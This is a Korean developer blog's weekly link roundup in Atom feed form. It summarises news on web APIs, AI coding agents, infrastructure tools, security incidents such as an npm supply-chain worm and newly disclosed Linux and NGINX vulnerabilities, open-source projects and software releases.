<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <author>
    <name>어썸블로그</name>
  </author>
  <id>국내의 좋은 블로그 글들을 매일 배달해줍니다.</id>
  <title>개발자 어썸블로그</title>
  <updated>2026-05-18T09:00:00+09:00</updated>
  <entry>
    <author>
      <name>Outsider</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;h1&gt;웹개발 관련&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://developer.chrome.com/blog/container-timing-origin-trial?hl=en"&gt;Container Timing origin trial&lt;/a&gt;&lt;/strong&gt; : Chrome 148부터 Container Timing performance API를 실험적으로 사용할 수 있다. Container Timing은 요소가 언제 로드되는지 알 수 있는 Element Timing을 확장해서 콘텐츠 블록이 사용할 수 있는 시점을 파악할 수 있다. 이은 HTML 요소에 &lt;code&gt;containertiming&lt;/code&gt; 속성을 지정해서 해당 요소가 측정해야 함을 알려주고 &lt;code&gt;PerformanceObserver&lt;/code&gt;로 관찰할 수 있다.(영어)&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;그 밖의 개발 관련&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.jasnell.me/posts/quic-comes-to-node"&gt;QUIC and HTTP/3 Come To Node.js (finally)&lt;/a&gt;&lt;/strong&gt; : 아직 릴리스에 포함되진 않았지만 코드에 &lt;code&gt;--experimental-quic&lt;/code&gt; 플래그를 통한 QUIC, HTTP/3 지원이 Node.js에 들어왔다. 실험적이지만 사용할 수 있게 되었으므로 Node.js에서 Quic을 어떻게 사용할 수 있는지를 설명한다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://antirez.com/news/164"&gt;Redis array type: short story of a long development&lt;/a&gt;&lt;/strong&gt; : antirez가 Redis의 새로운 Array 데이터 타입을 구현했다. LLM을 이용해서 4개월 동안 작업했는데 LLM 없이도 4개월 정도면 구현했겠지만, LLM 덕에 훨씬 더 많은 일을 할 수 있게 되었다. 첫 달에는 사양 문서만 작성했는데 AI와 논의하면서 훨씬 더 진화할 수 있게 되었고 두 번째 달부터 자동 프로그래밍으로 구현을 시작했고, 코드를 한 줄씩 익으면서 비효율이나 오류를 수동이나 AI로 고쳤고 세 번째 달에는 다양하게 스트레스 테스트를 했다. 이러한 과정을 통해서 고품질 시스템 프로그래밍 작업에 여전히 관여해야 하지만 AI가 없었다면 하지 않았을 복잡성 수준에 도전할 수 있었는데 AI는 매우 피곤한 대규모 작업과 복잡한 알고리즘에 버그가 없는지 확인하는 데에 안전망을 제공해 준다는 것을 깨달았다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://rubyinside.com/spinel/"&gt;An Overview of Spinel, Matz's AOT Ruby Compiler&lt;/a&gt;&lt;/strong&gt; : Matz가 예전부터 가지고 있던 아이디어를 최근 Claude Code를 이용해서 한달 만에 Ruby AOT 컴파일러인 &lt;a href="https://github.com/matz/spinel"&gt;Spinel&lt;/a&gt;을 만들었다. Spinel은 Ruby 소스코드를 단독으로 실행할 수 있는 바이너리로 변환하는 AOT 컴파일러로 CRuby보다 상당한 속도를 보여준다. CRuby의 계승자는 아니지만 Ruby 4.0.2와 비교해 봤을 때 YJIT 비활성화 상태보다는 3%, YJIT 활성화 상태보다는 18% 정도의 시간 만에 컴파일이 되는 상당한 속도 차이를 보여주고, 이는 타입 추론을 통해 최적화된 C 코드를 생성하기 때문이다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://stripe.dev/blog/formatting-an-entire-25-million-line-codebase-overnight-the-rubyfmt-story"&gt;Formatting an entire 25 million line codebase overnight: the rubyfmt story&lt;/a&gt;&lt;/strong&gt; : Fable Tales이 과거 RubyConf에서 Ruby 포매터에 대한 논의를 듣고 와서 혼자서 설정이 필요하지 않은 자동 포매터인 &lt;a href="https://github.com/fables-tales/rubyfmt"&gt;rubyfmt&lt;/a&gt;를 만들기 시작했고, 작업에 영향을 주지 않으려고 100ms라는 엄격한 기준을 두고 만들었다. 처음에는 Ruby로 만들었지만 점점 느려져서 Rust로 전환하게 되고 rubyfmt가 완성되진 않았지만, 세계에서 가장 큰 Ruby 코드 베이스를 가진 Stripe에 입사하게 된다. Stripe는 &lt;code&gt;prettier-ruby&lt;/code&gt;를 도입하려고 했지만 너무 느렸기에 Fable Tales에게 &lt;code&gt;rubyfmt&lt;/code&gt;를 적용할 수 있는지 논의를 시작했고, Stripe는 전담 엔지니어를 할당해서 &lt;code&gt;rubyfmt&lt;/code&gt;를 오픈소스로 완성하게 되었다. 처음에는 옵트인 방식으로 포매팅을 적용하고 충돌이 생기지 않게 주말에 작업했지만 결국 Stripe의 4,200만 라인 전체를 &lt;code&gt;rubyfmt&lt;/code&gt;로 포맷했고 아무런 문제가 발생하지 않았다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://x.com/addyosmani/status/2053231239721885918"&gt;Agent Harness Engineering&lt;/a&gt;&lt;/strong&gt; : Google Gemini 팀의 Addy Osmani가 하네스 엔지니어링을 설명한 글이다. 모델 + 하네스를 에이전트라고 할 수 있고 모델을 감싸는 도구, 파일시스템, Git, 랄프 루프, 검증 방법 등이 모두 하네스이고 모델이 실패할 때마다 하네스에 추가해서 실수를 막아야 한다. 하네스를 잘 설계하려면 원하는 동작에서 출발해서 그 동작을 제공하는 컴포넌트를 만드는 것이다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://x.com/Mnilax/status/2053116311132155938"&gt;Karpathy's 4 CLAUDE.md rules cut Claude mistakes from 41% to 11%. After 30 codebases, I added 8 more&lt;/a&gt;&lt;/strong&gt; : Andrej Karpathy가 1월 초에 Claude에 대한 불만을 올렸고 Forrest Chang이 이를 보고 &lt;code&gt;CLAUDE.md&lt;/code&gt; 파일에 4가지 규칙을 정리해서 올렸다. 여기에 8개의 규칙을 더 추가해서 비슷한 성능으로 실수를 크게 줄였다. 각 규칙에 대한 설명과 기존 4개로는 충분하지 않은 상황, 시도했지만 효과가 없었던 방법 등을 설명한다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.nianticspatial.com/blog/spz4"&gt;SPZ 4 is here: leaner, faster, and more future-proof&lt;/a&gt;&lt;/strong&gt; : 2024년 Niantic이 3D의 Gaussian spalt의 파일 형식인 SPZ를 공개했는데 더 큰 데이터셋을 지원하는 SPZ 4를 공개했다. SPZ 4는 압축과 로딩속도가 개선되어 인코딩이 3~5배 빨라졌고, 로딩은 1.5~2배가 빨라지고 저장 파일인 PLY 대비 더 작은 파일을 유지한다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://x.com/trq212/status/2052809885763747935"&gt;Using Claude Code: The Unreasonable Effectiveness of HTML&lt;/a&gt;&lt;/strong&gt; : Anthropic에서 Claude Code를 만드는 Thariq Shihiparrk가 기존에는 마크다운을 문서로 많이 사용했지만, 표현력의 한계를 느껴서 이젠 HTML을 더 선호한다고 한다. HTML을 훨씬 읽기 쉽게 구성할 수 있기 때문에 만들어진 문서를 보기도 쉽고 공유하기도 쉬운 데다가 상호작용을 하게 만들 수도 있다. 이해를 돕기 위해 예시로 &lt;a href="https://thariqs.github.io/html-effectiveness/"&gt;The unreasonable effectiveness of HTML&lt;/a&gt; 페이지도 공개했다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://addyosmani.com/blog/agent-skills/"&gt;Agent Skills&lt;/a&gt;&lt;/strong&gt; : 시니어 엔지니어의 업무는 코드 변경 이력에 드러나지 않는 것들이 많은데 이러한 경험을 에이전트에도 적용될 수 있도록 Google Gemini 팀의 Addy Osmani가 &lt;a href="https://github.com/addyosmani/agent-skills"&gt;스킬&lt;/a&gt;을 만들어서 공개했다. 이 스킬에는 소프트웨어 개발 생명주기의 단계를 포함하고 있으면 다음 5가지 원칙을 따르고 있고 이러한 접근은 Google의 관행을 따르고 있다.(영어)&lt;br&gt;
&lt;br&gt;
&lt;ol&gt;
&lt;li&gt;서술보다는 프로세스&lt;/li&gt;
&lt;li&gt;하기 싫은 부분을 건너뛰지 않는 합리화지 않도록 반합리화 테이블 작성&lt;/li&gt;
&lt;li&gt;검증은 협상할 부분이 아니다.&lt;/li&gt;
&lt;li&gt;점진적 공개&lt;/li&gt;
&lt;li&gt;범위 규율&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.notion.com/ko/blog/introducing-developer-platform"&gt;Notion 개발자 플랫폼을 소개합니다&lt;/a&gt;&lt;/strong&gt; : Notion에서 호스팅 런타임을 &lt;a href="https://www.notion.com/ko/blog/introducing-developer-platform"&gt;Worker로 제공해서&lt;/a&gt; &lt;code&gt;ntn&lt;/code&gt; CLI로 커스텀 로직을 작성하고 배포할 수 있게 되었다. 비즈니스와 엔터프라이즈 플랜에서는 공개 베타를 8월까지 무료로 사용할 수 있다.(한국어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://claude.com/blog/agent-view-in-claude-code"&gt;Agent view in Claude Code&lt;/a&gt;&lt;/strong&gt; : Claude Code에서 세션을 한곳에서 관리할 수 있는 Agent View 기능이 추가되었다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://code.claude.com/docs/en/goal"&gt;Claude Code: Keep Claude working toward a goal&lt;/a&gt;&lt;/strong&gt; : Claude Code가 &lt;code&gt;/goal&lt;/code&gt; 명령어를 통해 완료 조건을 설정하면 조건을 충족할 때까지 작업을 계속 진행할 수 있게 지원한다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.blog/changelog/2026-05-14-github-copilot-app-is-now-available-in-technical-preview/"&gt;GitHub Copilot app is now available in technical preview&lt;/a&gt;&lt;/strong&gt; : GitHub Copilot 데스크톱 앱이 테크니컬 프리뷰로 공개되었다. 현재는 &lt;a href="https://github.com/features/preview/github-app"&gt;대기 리스트에서&lt;/a&gt; 승인받아야 사용할 수 있다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://x.ai/news/grok-build-cli"&gt;Introducing Grok Build&lt;/a&gt;&lt;/strong&gt; : xAI에서 터미널에서 사용할 수 있는 코딩 에이전트 Grok Build를 베타로 공개했고 SuperGrok Heavy 사용자를 대상으로 제공된다.(영어)&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;AI 관련&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-1-flash-lite-is-now-generally-available"&gt;Gemini 3.1 Flash-Lite is now generally available on Gemini Enterprise Agent Platform&lt;/a&gt;&lt;/strong&gt; : Google이 비용 효율성이 뛰어난 Gemini 3.1 Flash-Lite를 발표했다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://openai.com/index/advancing-voice-intelligence-with-new-models-in-the-api/"&gt;Advancing voice intelligence with new models in the API&lt;/a&gt;&lt;/strong&gt; : OpenAI가 새로운 오디오 모델 3가지를 API에 도입했다. 더 어려운 요청을 처리하고 자연스러운 대화를 할 수 있는 GPT-Realtime-2, 화자의 속도에 맞춰 70개 이상의 언어를 13개의 언어로 라이브 전역하는 GPT-Realtime-Translate, 화자가 말하는 동안 실시간으로 음성을 텍스트로 전사하는 GPT-Realtime-Whisper를 공개했다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://zed.dev/blog/zeta2-1"&gt;Zeta2.1: 3x Fewer Tokens, 50ms Faster&lt;/a&gt;&lt;/strong&gt; : 코드 에디터인 Zed의 편집 예측 모델인 Zeta2.1이 나왔다. 기존 Zeta2에 비해 30% 더 적은 토큰을 사용하면서 50ms 더 빨라졌다.(영어)&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;인프라 관련&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://netflixtechblog.com/state-of-routing-in-model-serving-16e22fe18741"&gt;State of Routing in Model Serving&lt;/a&gt;&lt;/strong&gt; : Netflix에서 중앙 모델 서빙 플랫폼이 필요했는데 상용 솔루션으로는 요구사항을 만족하지 못해서 Switchboard라는 서비스를 직접 구축해서 클라이언트를 통일하고 컨텍스트 인식 라우팅 동적 트래픽 분리, 모델 라이프사이클 관리, 섀도우 테스트 등의 기능을 제공하고 Objectives 개념과 규칙을 도입해서 실험 구성을 서빙 플랫폼 코드와 분리할 수 있게 되었다. 이후 라우팅 제어를 더 세밀하게 하고 싶은데 Envoy만으로는 충분하지 않아서 Lightbulb를 만들어서 개선했다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://aws.amazon.com/ko/blogs/opensource/introducing-trusted-remote-execution-policy-enforced-scripts-for-ai-agents-and-humans/"&gt;Introducing Trusted Remote Execution: Policy-Enforced Scripts for AI Agents and Humans&lt;/a&gt;&lt;/strong&gt; : AWS에서 서버에 원격 실행을 안전하게 할 수 있는 Trusted Remote Execution(Rex)을 공개했다. 이는 Rust용 스크립트 언어와 엔진인 &lt;a href="https://rhai.rs/"&gt;rhai&lt;/a&gt;를 사용하고 정책 관리는 &lt;a href="https://cedarpolicy.com/en"&gt;Cedar&lt;/a&gt;를 사용해서 사람이든 에이전트든 허용된 동작만 원격으로 실행할 수 있게 관리할 수 있다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://learnkube.com/production-best-practices"&gt;Kubernetes production readiness checklist&lt;/a&gt;&lt;/strong&gt; : Kubernetes에 애플리케이션을 프로덕션으로 배포하기 전에 동작, 매니페스트 구성, 보안 등 확인해야 할 부분을 체크리스트로 만들었다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://claude.com/blog/claude-platform-on-aws"&gt;Introducing the Claude Platform on AWS&lt;/a&gt;&lt;/strong&gt; : Claude Platform이 AWS에서 제공되어 AWS 사용자가 AWS 인증과 인프라를 이용해서 Claude 기능을 사용할 수 있게 되었다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://falco.org/blog/introducing-prempti/"&gt;Introducing Prempti: Falco meets AI coding agents&lt;/a&gt;&lt;/strong&gt; : 클라우드 보안 도구인 Falco에서 코딩 에이전트의 액션을 감시하거나 차단하는 등의 액션을 할 수 있는 &lt;a href="https://prempti.falco.org/"&gt;Prempti&lt;/a&gt;를 실험적으로 공개했다.(영어)&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;보안 및 장애&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem"&gt;TeamPCP's Mini Shai-Hulud Is Back: A Self-Spreading Supply Chain Attack Compromises TanStack npm Packages&lt;/a&gt;&lt;/strong&gt; : TeamPCP가 OIDC 토큰을 사용해서 GitHub Actions 릴리스 파이프라인을 통해 Mini Shai-Hulud 웜을 포함한 악성 버전을 배포했다. 이는 유효하게 증명된 악성 패키지를 생성한 최초의 npm 웜으로 TanStack을 포함해서 UiPath, DraftLab 등의 170여 개의 패키지를 공격했고, 메모리를 읽어 시크릿과 크리덴셜 등 100개가 넘는 파일 경로에서 자격 증명을 수집하고 리부팅 후에도 훅을 설치했다. TanStack의 공격을 살펴보면 PR의 &lt;code&gt;pull_request_target&lt;/code&gt; 워크플로우를 이용해서 GitHub Actions의 캐시를 오염시키고 이후 메인테이너가 릴리스를 할 때 오염된 캐시를 복원하고 OIDC 토큰을 이용해서 오염된 패키지를 게시했는데 이때 SLSA Level 3 신뢰 증명까지 포함되었다. Tanstack에서 &lt;a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem"&gt;Postmortem을 공개&lt;/a&gt;했다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://daniel.haxx.se/blog/2026/05/11/mythos-finds-a-curl-vulnerability/"&gt;Mythos finds a curl vulnerability&lt;/a&gt;&lt;/strong&gt; : Anthropic의 차세대 모델인 Mythos를 Project Glasswing을 통해 Linux 재단에 제공하면서 curl을 만든 Diniel Stenberg도 Mythos로 분석한 보고서를 받게 되었다. 기존에도 AI 도구를 사용해서 curl을 분석하고 취약점을 10건 이상 수정한 상태였는데 Mythos의 분석으로 5개의 취약점이 나왔지만, curl 보안팀에서는 이를 분석한 결과 3건을 오탐이고 1건은 버그로 판단해서 낮은 심각도로 분류한 1개만 취약점으로 분류했고 Mythos 모델은 약간 과대광고로 보인다고 한다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://vercel.com/blog/introducing-deepsec-find-and-fix-vulnerabilities-in-your-code-base"&gt;Introducing deepsec: The security harness for finding vulnerabilities in your codebase&lt;/a&gt;&lt;/strong&gt; : Vercel에서 코딩 에이전트로 코드 베이스에서 취약점을 찾아내는 보안 하네스 &lt;a href="https://github.com/vercel-labs/deepsec/"&gt;Deepsec&lt;/a&gt;을 오픈소스로 공개했다. Deepsec에서는 Claude와 Codex를 사용할 수 있고 플러그인 시스템으로 사용자 환경에 맞는 규칙을 적용할 수 있다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.microsoft.com/en-us/security/blog/2026/05/08/active-attack-dirty-frag-linux-vulnerability-expands-post-compromise-risk/"&gt;Active attack: Dirty Frag Linux vulnerability expands post-compromise risk&lt;/a&gt;&lt;/strong&gt; : Linux에서 새로운 로컬 권한 상승 취약점 &lt;a href="https://github.com/V4bel/dirtyfrag"&gt;Dirty Frag&lt;/a&gt;가 발견되었다. Dirty Frag는 rxrpc, esp/xfrm 네트워킹 및 메모리 단편화 처리 구성 요소를 통해 루트 권한을 획득할 수 있는 취약점이다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/DepthFirstDisclosures/Nginx-Rift"&gt;NGINX Rift&lt;/a&gt;&lt;/strong&gt; : 웹서버 NGINX의 &lt;code&gt;ngx_http_rewrite_module&lt;/code&gt;에서 힙 버퍼 오버플로우를 이용해서 원격 코드 실행을 할 수 있는 취약점이 발견되었다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://mysites.guru/blog/lets-encrypt-issuance-halted-2026-05-08/"&gt;Let's Encrypt Is Down. Renewals Are Next&lt;/a&gt;&lt;/strong&gt; : Let's Encrypt에서 지난 5월 8일 UTC 기준 18:37부터 21:00까지 ACME 엔드포인트가 503을 반환하면서 인증서의 신규 발급과 갱신이 중단되었다.(영어)&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;볼만한 링크&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://jdx.dev/posts/2026-04-17-going-full-time-on-open-source/"&gt;Going Full Time on Open Source&lt;/a&gt;&lt;/strong&gt; : 로컬 개발 환경 관리 도구인 &lt;a href="https://mise.jdx.dev/"&gt;mise&lt;/a&gt;를 만든 Jeff Dickey가 mise에 더 집중하기 위해서 Figma에서 퇴사하고 en.dev라는 만들어서 풀타임 오픈소스 개발을 하기로 했다. 수입은 문서 광고와 GitHub Sponsors로 약간 벌지만, 충분치 않기 때문에 멤버십과 스폰서십을 통해 지원받고 컨설팅을 할 것이라고 한다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://simonwillison.net/2026/May/6/vibe-coding-and-agentic-engineering/"&gt;Vibe coding and agentic engineering are getting closer than I’d like&lt;/a&gt;&lt;/strong&gt; : Simon Willison이 코드를 전혀 들여다보지 않고 작성하는 vibe coding과 보안, 유지보수성, 운영, 성능을 고려해서 고품질로 프로덕션 시스템을 만드는 agentic engineering을 구분하고 있었고 vibe coding은 개인 도구라면 괜찮지만, 다른 사람이 사용하는 프로덕션 시스템에 사용하면 무책임하다고 생각해 왔다. 하지만 코딩 에이전트가 더 신뢰할 수 있게 되면서 죄책감이 들면서도 프로덕션 수준의 코드도 모두 검토하지 않게 되고 vibe coding과 agentic engineering의 경계가 모호해지고 있다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.jasnell.me/posts/open-source-is-still-art"&gt;OpenSource is still art&lt;/a&gt;&lt;/strong&gt; : Node.js 커미터인 James Snell의 글로 오픈소스와 소프트웨어 개발은 기존에도 단순한 엔지니어링이 아니라 공예이자 예술이었다. AI는 유용한 도구이지만 문제 이해, 설계 판단, 취향, 시스템적 사고는 여전히 숙련된 개발자의 몫이다. 하지만 AI로 인해서 일자리가 줄어들고 코드 학습, 저작권, 편향 같은 윤리적 문제는 커질 수 있다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://addyosmani.com/blog/cognitive-surrender/"&gt;Cognitive Surrender&lt;/a&gt;&lt;/strong&gt; : 인지적 오프로딩(cognitive offloading)은 AI에 위임하되 답에 대한 소유권을 유지하는 것이고 인지적 항복(cognitive surrender)은 AI의 출력물을 그대로 받아들이는 것을 의미하고 논문의 실험에서 대다수가 AI에 인지적 항복을 하는 것으로 나타났다. 소프트웨어 개발에서 인지 항복을 통해 인지 부채를 떠안게 되는데 이는 AI가 부채를 만드는 것이 아니라 AI를 대하는 태도에서 생기는 것이라 인지적 항복을 거부하는 조치를 설명한다.(영어)&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;IT 업계 뉴스&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/oven-sh/bun/pull/30412"&gt;Rewrite Bun in Rust&lt;/a&gt;&lt;/strong&gt; : JavaScript/TypeScript 런타임인 Bun이 알려진 대로 Rust로 재작성되었고 백만 라인 이상을 추가한 PR을 머지했다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://x.com/zkochan/status/2054966567692099943"&gt;The Rust rewrite of pnpm was moved to the pnpm repository today&lt;/a&gt;&lt;/strong&gt; : JavaScritp 패키지 매니저인 pnpm을 Rust로 재작성하는 코드가 &lt;a href="https://github.com/pnpm/pnpm/tree/main/pacquet"&gt;pnpm 저장소에 합쳐졌다&lt;/a&gt;.(영어)&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;프로젝트&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/antirez/ds4"&gt;ds4.c&lt;/a&gt;&lt;/strong&gt; : Redis의 창시자 Salvatore Sanfilippo가 만든 DeepSeek V4 Flash의 소형 추론 엔진&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/warpdotdev/oz-skills"&gt;Oz Skills&lt;/a&gt;&lt;/strong&gt; : Warp 터미널의 AI 에이전트와 Oz에서 사용하는 에이전트 스킬을 오픈소스로 공개했다.(영어)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/EvanBacon/serve-sim"&gt;serve-sim&lt;/a&gt;&lt;/strong&gt; : Expo 개발자가 만든 Apple 시뮬레이터로 에이전트에서 사용할 수 있다.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://ghostty.zerebos.com/"&gt;Ghostty Config&lt;/a&gt;&lt;/strong&gt; : Ghostty 터미널의 웹 기반 설정 생성기.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://zero-native.dev/"&gt;zero-native&lt;/a&gt;&lt;/strong&gt; : Zig 언어와 웹 UI를 사용해서 데스크톱 앱이나 모바일 앱을 만들 수 있게 하는 도구로 Vercel에서 공개했다.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://microsoft.github.io/waza/"&gt;waza&lt;/a&gt;&lt;/strong&gt; : 구조화된 벤치마크로 AI 에이전트 스킬을 평가하는 Go CLI로 Microsoft에서 만들었다.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://rustdesk.com/ko/"&gt;rustdesk&lt;/a&gt;&lt;/strong&gt; : 오픈소스 원격 데스크톱 애플리케이션.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/GoogleCloudPlatform/scion"&gt;Scion&lt;/a&gt;&lt;/strong&gt; : 각 에이전트가 컨테이너 안에서 자신만의 워크스페이스 안에서 실행하게 하는 멀티에이전트 테스트베드.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://stakpak.dev/"&gt;Starpak&lt;/a&gt;&lt;/strong&gt; : 코드를 계속 배포할 수 있는 오픈소스 에이전트.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/werf/nelm"&gt;Nelm&lt;/a&gt;&lt;/strong&gt; : &lt;a href="https://github.com/werf/werf"&gt;werf&lt;/a&gt;의 배포 엔진이면서 Helm 4의 대체제로, Helm으로 할 수 있는 걸 다 할 수 있으면서 &lt;code&gt;terraform plan&lt;/code&gt;같은 2 스테이지 배포 지원과 CRD 관리, 시크릿 관리 등의 기능을 지원한다.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://better-notify.com/"&gt;Better-Notify&lt;/a&gt;&lt;/strong&gt; : 이메일, SMS, 텔레그램, Slack, Discord에 메시지를 보낼 수 있는 자바스크립트 라이브러리.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/xai-org/x-algorithm"&gt;X For You Feed Algorithm&lt;/a&gt;&lt;/strong&gt; : X의 For You 탭에서 사용하는 추천 시스템&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;버전 업데이트&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/rolldown/rolldown"&gt;Rolldown&lt;/a&gt; v1.0.0&lt;/strong&gt; :  JavaScript/TypeScript 번들러, &lt;a href="https://voidzero.dev/posts/announcing-rolldown-1-0"&gt;릴리스 공지&lt;/a&gt;&lt;br&gt;
&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;Vite를 염두에 두고 설계됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="http://electron.atom.io/"&gt;Electron&lt;/a&gt; v42.0.0&lt;/strong&gt; : 크로스 플랫폼 데스크톱 애플리케이션 플랫폼, &lt;a href="https://www.electronjs.org/blog/electron-42-0"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://viaduct.airbnb.tech/"&gt;Viaduct&lt;/a&gt; v1.0.0&lt;/strong&gt; : GraphQL 데이터 지향 서비스 메시, &lt;a href="https://viaduct.airbnb.tech/blog/2026/05/13/viaduct-10-whats-new/"&gt;릴리스 공지&lt;/a&gt;, &lt;a href="https://medium.com/airbnb-engineering/viaduct-1-0-and-the-future-of-airbnbs-data-mesh-6bab4ec98b89"&gt;관련 글&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/valkey-io/valkey-admin"&gt;Valkey Admin&lt;/a&gt; v1.0.0&lt;/strong&gt; : Valkey 어드민, &lt;a href="https://valkey.io/blog/introducing-valkey-admin-1-0-visual-cluster-management-for-valkey/"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://bazel.build/"&gt;Bazel&lt;/a&gt; v8.7.0&lt;/strong&gt; : 빌드 도구, &lt;a href="https://github.com/bazelbuild/bazel/releases/tag/8.7.0"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://oxc.rs/docs/guide/usage/linter.html"&gt;Oxlint&lt;/a&gt; v1.64.0&lt;/strong&gt; : JavaScript/TypeScript Linter, &lt;a href="https://github.com/oxc-project/oxc/releases/tag/apps_v1.64.0#oxlint-v1.64.0"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://oxc.rs/docs/guide/usage/formatter.html"&gt;Oxfmt&lt;/a&gt; v0.49.0&lt;/strong&gt; : JavaScript/TypeScript 포매터, &lt;a href="https://github.com/oxc-project/oxc/releases/tag/apps_v1.64.0#oxfmt-v0.49.0"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="http://nodejs.org/"&gt;Node.js&lt;/a&gt; v26.0.0 (Current)&lt;/strong&gt; : 자바스크립트 런타임, &lt;a href="https://nodejs.org/en/blog/release/v26.0.0"&gt;릴리스 공지&lt;/a&gt;&lt;br&gt;
&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;Temporal API 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
